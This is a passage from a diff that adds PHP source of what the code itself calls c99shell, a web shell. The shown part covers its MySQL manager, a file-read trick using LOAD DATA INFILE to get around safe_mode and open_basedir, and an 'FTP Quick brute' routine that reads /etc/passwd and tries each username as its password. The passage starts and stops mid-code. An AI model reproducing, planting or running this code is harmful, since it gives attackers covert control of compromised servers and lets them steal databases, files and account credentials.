htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>»</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y 